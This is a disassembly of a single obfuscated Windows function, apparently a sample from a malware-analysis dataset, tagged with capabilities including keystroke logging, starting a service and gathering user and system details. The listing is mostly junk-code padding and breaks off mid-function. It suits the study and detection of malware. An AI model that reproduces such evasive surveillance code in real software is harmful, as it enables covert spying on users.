Function at 0x10008e62
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get graphical window text
Get session user name
Identify system language via api
Log keystrokes
Parse pe header
Start service

Disassembly:
mov eax, 0x1008316a
call fcn.100824a0
mov eax, 0x13e4
call fcn.100800c0
push ebx
push esi
xor eax, eax
mov byte [ebp - 0x85], dl
xor esi, esi
mov dword [ebp - 0x14], eax
push edi
inc esi
mov dword [ebp - 0x68], ecx
push 3
pop ebx
cmp dword [ebp - 0x14], esi
jge 0x10008ea6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbc], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10008e92
xor eax, eax
mov dword [ebp - 0xbc], eax
push 4
pop ecx
cmp dword [ebp - 0xbc], eax
je 0x10008f58
mov dword [ebp - 0x14], 0x5a9c4c8d
mov dword [ebp - 0x50], 0xe32cf41
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10008ee9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x22c], 0x4074dd03
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10008ed1
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jl 0x10008f4c
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x50], esi
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xbc]
jne 0x10008f32
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x24]
inc eax
neg eax
push 0
sbb eax, eax
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x14]
pop eax
jns 0x10008ef1
inc dword [ebp - 0xbc]
jne 0x10008ebb
or edi, 0xffffffff
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x1c], 0xc3a0b8ee
push 2
mov dword [ebp - 0x50], 0xd87263b0
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x10008f84
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x344], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10008f77
mov ecx, dword [ebp - 0x340]
mov eax, dword [ebp - 0x344]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
test eax, eax
je 0x10008fac
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10008fae
mov eax, esi
jmp 0x10008fae
xor eax, eax
mov ecx, dword [ebp - 0x1c]
add ecx, eax
mov eax, dword [ebp - 0x344]
mov edx, dword [ebp - 0x1c]
imul ecx, eax
add edx, ecx
xor ecx, ecx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jne 0x10008fdc
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x344]
xor ecx, ecx
mov eax, dword [ebp - 0x344]
mov eax, dword [ebp - 0x1c]
test eax, eax
sets cl
xor eax, eax
mov dword [ebp - 0x50], ecx
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x1000900d
push 0x2623
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0x32fe2236
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000903a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc9c], 0x9b55
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10009022
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x100090a9
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xc9c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc9c], ecx
mov dword [ebp - 0x18], 0xffffffee
cmp dword [ebp - 0x18], 0x15
je 0x1000909e
xor eax, eax
mov dword [ebp - 0x14], 0xbd4dfbd6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x10009095
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xc9c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc9c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10009077
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x10009068
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], ebx
jle 0x10009042
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x38], edi
mov edi, dword [sym.imp.USER32.dll_GetDC]
push 9
mov dword [ebp - 0x98], 0x1a8f1edd
pop ecx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff7
push 8
pop ecx
jl 0x10009293
push 2
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x950]
pop eax
push eax
call fcn.10024e73
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1000911c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x950]
call fcn.10024ee0
push 2
mov dword [eax], 0x6dd8
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x100090fb
xor eax, eax
mov dword [ebp - 0x18], 0x17
jmp 0x10009266
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x520], ecx
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x518], ecx
mov dword [ebp - 0x14], 0x20a29822
mov dword [ebp - 0x520], esi
cmp dword [ebp - 0x520], eax
jl 0x1000918b
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009168
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push dword [ebp - 0x520]
lea ecx, [ebp - 0x950]
call fcn.10024ee0
cmp dword [eax], 0
jne 0x10009189
dec dword [ebp - 0x520]
push 0
pop eax
jns 0x10009158
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x15
jl 0x10009263
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x520], eax
je 0x100091ac
mov dword [ebp - 0x50], 0x1a80d1c2
jmp 0x100091ae
mov esi, eax
push eax
lea ecx, [ebp - 0x950]
call fcn.10024ee0
mov ecx, dword [ebp - 0x18]
xor edx, edx
sub ecx, esi
cmp ecx, dword [eax]
setl dl
shl edx, 2
test edx, edx
jne 0x100091db
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x100091db
xor esi, esi
mov edx, eax
inc esi
jmp 0x100091e0
xor esi, esi
inc esi
mov edx, esi
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 0x874b
cmp eax, 0x9eb11de2
jb 0x1000921d
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009242
push eax
push eax
push eax
push 0x20f8
push 0xbda
push eax
call ebx
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x10009240
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009240
push 0xf5d
push eax
push eax
push 0x4d0
push eax
call ebx
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009253
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x15
push 0
pop eax
jge 0x10009198
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
jne 0x10009128
or eax, 0xffffffff
lea ecx, [ebp - 0x950]
mov dword [ebp - 4], eax
call fcn.10024edb
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff7
push 8
pop ecx
jge 0x100090db
xor eax, eax
or edi, 0xffffffff
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x38], edi
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100092ba
push eax
push eax
push 0x304
push 0x1fc9
push eax
call dword [sym.imp.USER32.dll_ModifyMenuW]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100092cc
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
xor eax, eax
mov dword [ebp - 0x38], 0x23cea2ff
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0x1b
jmp 0x10009300
cmp dword [ebp - 0x18], eax
jne 0x10009306
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100092fd
push eax
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1b
jne 0x100092e2
mov dword [ebp - 0x84], 0xd437f1bd
lea ecx, [ebp - 0xdf8]
mov dword [ebp - 0x50], edi
push esi
call fcn.10024e73
mov dword [ebp - 4], esi
mov eax, 0xed967aac
mov dword [ebp - 0xd3c], eax
mov dword [ebp - 0xd38], eax
mov dword [ebp - 0xd34], eax
mov dword [ebp - 0xd30], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10009363
push dword [ebp - 0x14]
lea ecx, [ebp - 0xdf8]
call fcn.10024ee0
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10009349
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_DrawEdge]
mov dword [ebp - 0x2c], eax
jmp 0x10009393
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009390
push 0x17b5
push 0x12d8
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xe
jl 0x1000936e
cmp dword [ebp - 0x2c], eax
je 0x100093d4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
neg eax
je 0x100093d1
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100093b9
cmp dword [ebp - 0x34], eax
je 0x100093b9
mov eax, esi
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x100093cb
cmp dword [ebp - 0x2c], eax
je 0x100093cb
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
or eax, 0xffffffff
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x58], eax
lea ecx, [ebp - 0x8b4]
push 3
call fcn.10024e73
push 2
pop eax
mov byte [ebp - 4], al
push 4
pop eax
mov dword [ebp - 0x64], eax
or eax, 0xffffffff
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x64], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000941a
push dword [ebp - 0x14]
call fcn.10024ee0
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
lea ecx, [ebp - 0x8b4]
jl 0x1000940a
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
push 2
pop eax
mov dword [ebp - 0x64], esi
push eax
call fcn.10024ee0
push 2
mov esi, eax
lea ecx, [ebp - 0x8b4]
pop eax
push eax
call fcn.10024ee0
mov ecx, dword [esi]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x84]
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, 0xb913a86
je 0x1000946f
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x58]
xor edx, edx
mov eax, dword [ebp - 0xd30]
or esi, 0xffffffff
cmp eax, esi
mov eax, dword [ebp - 0x34]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x64], ecx
lea ecx, [ebp - 0x8b4]
call fcn.10024edb
lea ecx, [ebp - 0xdf8]
mov dword [ebp - 4], esi
call fcn.10024edb
mov dword [ebp - 0x1c], 0xc3a0b8ee
xor eax, eax
push 2
xor esi, esi
mov dword [ebp - 0x50], 0xd87263b0
mov dword [ebp - 0x14], eax
inc esi
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x100094d5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x354], esi
inc dword [ebp - 0x14]
jmp 0x100094c1
mov ecx, dword [ebp - 0x350]
mov eax, dword [ebp - 0x354]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
test eax, eax
je 0x100094f8
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x100094fa
mov eax, esi
jmp 0x100094fa
xor eax, eax
mov ecx, dword [ebp - 0x1c]
add ecx, eax
mov eax, dword [ebp - 0x354]
mov edx, dword [ebp - 0x1c]
imul ecx, eax
add edx, ecx
xor ecx, ecx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jne 0x10009528
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x354]
xor ecx, ecx
mov eax, dword [ebp - 0x354]
mov eax, dword [ebp - 0x1c]
test eax, eax
sets cl
xor eax, eax
mov dword [ebp - 0x50], ecx
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009559
push 0x2623
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor eax, eax
mov dword [ebp - 0x1c], 0x32fe2236
push 4
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10009583
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcdc], 0x9b55
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000956b
xor eax, eax
push 3
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jg 0x100095f5
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xcdc]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcdc], ecx
mov dword [ebp - 0x18], 0xffffffee
cmp dword [ebp - 0x18], 0x15
je 0x100095ea
xor eax, eax
mov dword [ebp - 0x14], 0xbd4dfbd6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edx
jg 0x100095e1
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0xcdc]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcdc], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x100095c3
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x100095b4
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], edx
jle 0x1000958e
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
push 9
mov dword [ebp - 0x28], esi
pop edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xfffffff7
jl 0x100097d7
push 8
pop eax
push 2
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x7dc]
pop eax
push eax
call fcn.10024e73
push 4
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10009658
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7dc]
call fcn.10024ee0
push 2
mov dword [eax], 0x6dd8
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10009637
xor eax, eax
mov dword [ebp - 0x18], 0x17
jmp 0x100097aa
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x530], ecx
mov dword [ebp - 0x14], 0x20a29822
mov dword [ebp - 0x538], esi
cmp dword [ebp - 0x538], eax
jl 0x100096c7
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100096a4
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push dword [ebp - 0x538]
lea ecx, [ebp - 0x7dc]
call fcn.10024ee0
cmp dword [eax], 0
jne 0x100096c5
dec dword [ebp - 0x538]
push 0
pop eax
jns 0x10009694
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x15
jl 0x100097a7
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x538], eax
je 0x100096e8
mov dword [ebp - 0x50], 0x1a80d1c2
jmp 0x100096ea
mov esi, eax
push eax
lea ecx, [ebp - 0x7dc]
call fcn.10024ee0
mov ecx, dword [ebp - 0x18]
xor edx, edx
sub ecx, esi
cmp ecx, dword [eax]
setl dl
shl edx, 2
test edx, edx
jne 0x10009717
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10009717
xor esi, esi
mov edx, eax
inc esi
jmp 0x1000971c
xor esi, esi
inc esi
mov edx, esi
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
cmp eax, edx
setne cl
imul eax, ecx, 0x874b
cmp eax, 0x9eb11de2
jb 0x1000975d
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009786
push eax
push eax
push eax
push 0x20f8
push 0xbda
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x10009784
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009784
push 0xf5d
push eax
push eax
push 0x4d0
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009797
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x15
push 0
pop eax
jge 0x100096d4
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
jne 0x10009664
or eax, 0xffffffff
lea ecx, [ebp - 0x7dc]
mov dword [ebp - 4], eax
call fcn.10024edb
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff7
jge 0x10009611
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x100097fb
push eax
push eax
push 0x304
push 0x1fc9
push eax
call dword [sym.imp.USER32.dll_ModifyMenuW]
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x1000980d
push eax
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0x1b
jmp 0x1000983a
cmp dword [ebp - 0x18], eax
jne 0x10009840
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], 0
je 0x10009837
push eax
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1b
jne 0x1000981c
or eax, 0xffffffff
lea ecx, [ebp - 0x818]
push 4
mov dword [ebp - 0x38], eax
pop eax
push eax
call fcn.10024e73
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x1358]
movdqa xmm0, xmmword [0x10007cb0]
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0x9ad59e57
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x10ac]
push eax
lea eax, [ebp - 0x10bc]
mov dword [ebp - 0x38], esi
push eax
movdqu xmmword [ebp - 0x10bc], xmm0
call fcn.10024eef
lea ecx, [ebp - 0x211]
mov esi, eax
call fcn.10008e5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1174]
push dword [esi]
call fcn.10024eb5
xor eax, eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x38], eax
push 4
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x100098e5
push dword [ebp - 0x14]
lea ecx, [ebp - 0x818]
call fcn.10024ee0
mov dword [eax], 0xac204e2
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100098c7
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x1000990f
xor esi, esi
inc esi
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x818]
call fcn.10024ee0
push 4
mov dword [eax], esi
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], eax
jl 0x100098f0
xor eax, eax
jmp 0x10009912
xor esi, esi
inc esi
mov dword [ebp - 0x2c], eax
jmp 0x1000995e
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], 0xb143e95a
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
jmp 0x1000993d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdfc], 0x1ba028ea
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000992c
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x818]
call fcn.10024ee0
push 0
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
inc dword [ebp - 0x24]
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], 3
jle 0x10009917
lea ecx, [ebp - 0x1174]
call fcn.10024edb
or eax, 0xffffffff
lea ecx, [ebp - 0x818]
mov dword [ebp - 4], eax
call fcn.10024edb
mov dword [ebp - 0x3c], 0x1a8f1edd
lea ecx, [ebp - 0xf20]
mov dword [ebp - 0x14], 0xc558
mov dword [ebp - 0x18], 0x265e3edf
mov dword [ebp - 0x50], 0x3af72b57
mov dword [ebp - 0x38], 0xd2b5f791
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], 0x41ce3cb5
mov dword [ebp - 0x38], 0x8b166c19
push 4
mov dword [ebp - 0x38], esi
pop eax
mov dword [ebp - 0x38], 0x9c23edb3
mov dword [ebp - 0x38], 0x972c40a9
mov dword [ebp - 0x38], 0x8551b32e
push eax
call fcn.10024e73
push 7
pop eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x9c8]
or eax, 0xffffffff
push 2
mov dword [ebp - 0x38], eax
pop eax
push eax
call fcn.10024e73
push 8
pop eax
mov byte [ebp - 4], al
xor eax, eax
push 4
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x10009a2e
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xf20]
call fcn.10024ee0
push 4
mov dword [eax], 0xd3380ee9
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], eax
jl 0x10009a0d
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10009a49
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9c8]
call fcn.10024ee0
push 8
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x2c]
push 2
pop eax
cmp dword [ebp - 0x2c], eax
jl 0x10009a33
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
sub edx, 0x6e34b18a
cmp edx, dword [ebp - 0x14]
je 0x10009a75
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x10009a77
mov edx, esi
mov eax, dword [ebp - 0x14]
xor ecx, ecx
inc eax
cmp eax, edx
setne cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x9c8]
push eax
call fcn.10024ee0
lea ecx, [ebp - 0x9c8]
dec dword [eax]
call fcn.10024edb
or eax, 0xffffffff
lea ecx, [ebp - 0xf20]
mov dword [ebp - 4], eax
call fcn.10024edb
or eax, 0xffffffff
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0x38], eax
xor eax, eax
push 2
mov dword [ebp - 0x1c], 0xbac64a68
mov dword [ebp - 0x18], eax
pop eax
push eax
call fcn.10024e73
push 9
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10009afe
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5b4]
call fcn.10024ee0
mov dword [eax], 0x531f145b
inc dword [ebp - 0x14]
push 2
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10009ae7
mov dword [ebp - 0x1c], 0x19
jmp 0x10009b26
mov dword [ebp - 0x24], 0xda5043c4
mov dword [ebp - 0x24], 0xa3399244
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jge 0x10009b0f
mov eax, dword [ebp - 0x18]
mov ecx, 0xffff
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10009bb3
mov dword [ebp - 0x50], 0x452a26f3
mov dword [ebp - 0xcc], esi
mov dword [ebp - 0xc8], esi
mov dword [ebp - 0xc4], esi
push 8
mov dword [ebp - 0xc0], esi
mov eax, dword [ebp - 0x50]
pop ecx
sub eax, ecx
je 0x10009b85
xor eax, eax
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009ca8
push eax
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_SetPropA]
jmp 0x10009ca8
xor eax, eax
mov dword [ebp - 0x24], 0x5d70
mov byte [ebp - 0x45], al
cmp byte [ebp - 0x45], al
je 0x10009bab
push 0x124a
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
dec dword [ebp - 0x24]
jmp 0x10009ca8
mov dword [ebp - 0x5c], 0xfffffff7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10009bd8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7f4], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10009bc3
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff2
cmp dword [ebp - 0x1c], 0xfffffffa
jl 0x10009ca8
jmp 0x10009bed
xor eax, eax
mov dword [ebp - 0x28], 0x868fdadf
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 0x50], 0xfffffff9
push eax
call fcn.10024ee0
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ecx, dword [eax]
setge dl
xor eax, eax
cmp edx, dword [ebp - 0x7ec]
je 0x10009c25
cmp dword [ebp - 0x18], eax
je 0x10009c25
mov eax, esi
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x5b4]
mov eax, dword [ebp - 0x7ec]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x7ec]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
push esi
call fcn.10024ee0
xor eax, eax
lea ecx, [ebp - 0x5b4]
push eax
call fcn.10024ee0
mov eax, dword [ebp - 0x28]
xor ebx, ebx
mov ecx, dword [ebp - 0x7ec]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
lea ecx, [ebp - 0x5b4]
setl bl
xor eax, eax
push eax
call fcn.10024ee0
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp ebx, ecx
mov ecx, 0xffff
sete dl
mov dword [eax], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jge 0x10009beb
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
or eax, 0xffffffff
lea ecx, [ebp - 0x5b4]
mov dword [ebp - 4], eax
call fcn.10024edb
push 2
pop eax
mov dword [ebp - 0x38], 0x23cea2ff
lea ecx, [ebp - 0x3dc]
push eax
call fcn.10024e73
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x50], 0x9949dfcf
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10009d09
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3dc]
call fcn.10024ee0
push 2
mov dword [eax], 0x57fd5464
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x10009ce8
xor eax, eax
push eax
lea ecx, [ebp - 0x3dc]
